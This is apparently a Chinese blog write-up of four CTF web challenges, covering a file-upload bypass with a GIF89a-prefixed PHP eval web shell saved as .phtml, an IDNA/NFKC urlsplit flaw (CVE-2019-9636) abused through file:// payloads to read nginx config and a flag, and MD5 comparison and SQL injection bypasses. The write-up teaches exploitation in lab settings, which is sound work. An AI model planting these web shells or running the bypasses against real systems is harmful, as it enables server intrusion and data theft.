本篇內容
[極客大挑戰 2019]Upload
[ACTF2020 新生賽]Exec
[SUCTF 2019]Pythonginx
[BJDCTF2020]Easy MD5
[極客大挑戰 2019]Upload
很像之前寫的一道題目:[SUCTF 2019]CheckIn。按照這個方法上傳.user.ini發現不行。而且寫一句話時同樣的不能帶有<?
,需要內容換成這樣<script language='php'>eval($_GET['a']);</script>
樣子才能上傳。
既然.user.ini不能上傳到話,那就嘗試一下php的一些繞過文件名後綴的檢查的方法:
php、php2、php3、php5、phtml
發現phtml可以繞過,a.phtml
內容:
GIF89a
<script language='php'>eval($_POST['a']);</script>
操作如下:
然後就是蟻劍連接了:
然後在根路徑下找到flag:
當然的,不用一句話連接蟻劍連接也是可以啊,但操作方式一樣,a.phtml
內容如下:
GIF89a
<script language='php'>eval($_GET['a']);</script>
操作方式:
然後就是執行命令了:
[ACTF2020 新生賽]Exec
老套路了,直接做:
拿到flag。
[SUCTF 2019]Pythonginx
直接右鍵查看源碼可以查看到正確格式的內容:
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
<!-- Dont worry about the suctf.cc. Go on! -->
<!-- Do you know the nginx? -->
代碼感覺有些難度,那就用一個例子解釋一下一些函數的作用:
>>> from urllib import parse
>>> url = 'http://www.example.com/a?b&c=1#2'
>>> host = parse.urlparse(url).hostname #urlparse對url進行分割,host等於其中的hostname
>>> parse.urlparse(url) #查看一下效果
ParseResult(scheme='http', netloc='www.example.com', path='/a', params='', query='b&c=1', fragment='2')
>>> host #查看host的內容
'www.example.com'
>>> parts = list(parse.urlsplit(url)) #同樣的,urlsplit也是分割url,並保存爲列表
>>> parts #查看一下效果
['http', 'www.example.com', '/a', 'b&c=1', '2']
>>> host = parts[1] #相當於也是取其中的hostname
>>> host
'www.example.com'
>>> finalUrl = parse.urlunsplit(parts).split(' ')[0] #urlunsplit拼接爲url
>>> finalUrl #查看一下效果
'http://www.example.com/a?b&c=1#2'
>>>
是不是這些函數方法也不是很難。那再來看看代碼的意思:
我們最終是要讓他return的是urllib.request.urlopen(finalUrl).read()
,其他的return都不行
也就是說總共三個if
語句,我們只能滿足第三個if語句,即host在一開始並不能等於suctf.cc
,到了第三個if語句它就要等於suctf.cc了。那感覺有些難度啊,肯定存在漏洞讓我們來繞過,我之前解釋函數有一塊沒有解釋:
這裏的解釋參考大佬文章:python中urlsplit函數存在的漏洞。
CVE-2019-9636:urlsplit 不處理 NFKC 標準化
CVE-2019-10160:urlsplit NFKD 標準化漏洞
漏洞原理:
用 Punycode/IDNA 編碼的 URL 使用 NFKC 規範化來分解字符。可能導致某些字符將新的段引入 URL。
例如,在直接比較中,\ uFF03不等於'#',而是統一化爲'#',這會更改 URL 的片段部分。類似地,\ u2100 統一化爲'a/c',它引入了路徑段。
那我們只需要尋找到可替代字符就好了,到這裏還是不太懂這個漏洞,沒事,我再用一個例子講一下:
>>> host = 'suctf.cⅭ' #注意這裏的Ⅽ並不是大寫的C,而是一個Unicode碼
>>> (host == 'suctf.cc') #直接比較卻不相等
False
>>> (host.encode('idna').decode('utf-8') == 'suctf.cc') #但是經過idna編碼後用utf-8解碼後就相等了
True
>>>
這只是一個替代的例子,那到底有哪些可替代字符呢,參考altman學長寫的一個腳本:
# coding:utf-8
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass
這裏的腳本我是抄來的,但我寫文章只要是抄來的都會寫來源的,可惜這次因爲我抄的腳本的那個人也是抄來的,他沒寫來源,我不能寫他的啊,他又不是原作者,所以沒法指向真正的來源文章。
好了,我感覺介紹的差不多了,該是構造payload了。
一開始的源代碼提示了nginx,而nginx的配置文件目錄爲:/usr/local/nginx/conf/nginx.conf
,而且host爲suctf.cc
。
然後我嘗試發現了不能用http和https協議,得用file本地文件傳輸協議,所以希望傳入的是
file://suctf.cc/usr/local/nginx/conf/nginx.conf
替代方法有多種,雖然我看網上的WP都使用的是℆
來替代c/u
,那我就使用個簡單的Ⅽ
代替c
就好。所以payload:
file://suctf.cⅭ/usr/local/nginx/conf/nginx.conf
提示在/usr/fffffflag
下,payload:
file://suctf.cⅭ/usr/fffffflag
拿到最終flag。這次難得的寫了一次詳細的WP,是因爲我覺得這個漏洞比較有意思,而且覺得百度第一頁搜出來的WP寫的不夠詳細,對我這樣真正的菜雞不夠友好。
[BJDCTF2020]Easy MD5
嘗試注入後沒結果,抓個包看看:
提示select * from 'admin' where password=md5($pass,true)
,看到這語句就知道要使用ffifdyop
了,我不做解釋了,網上一大堆。
提交後另一個界面直接右鍵源代碼,出現:
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
直接數組繞過,payload:
?a[]=1&b[]=2
出現如下代碼:
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
也可以直接數組繞過,拿到flag。
========================================================
上一篇-----------------------------------目錄 -----------------------------------下一篇
========================================================
轉載請註明出處。
本文網址:https://blog.csdn.net/hiahiachang/article/details/105443688
========================================================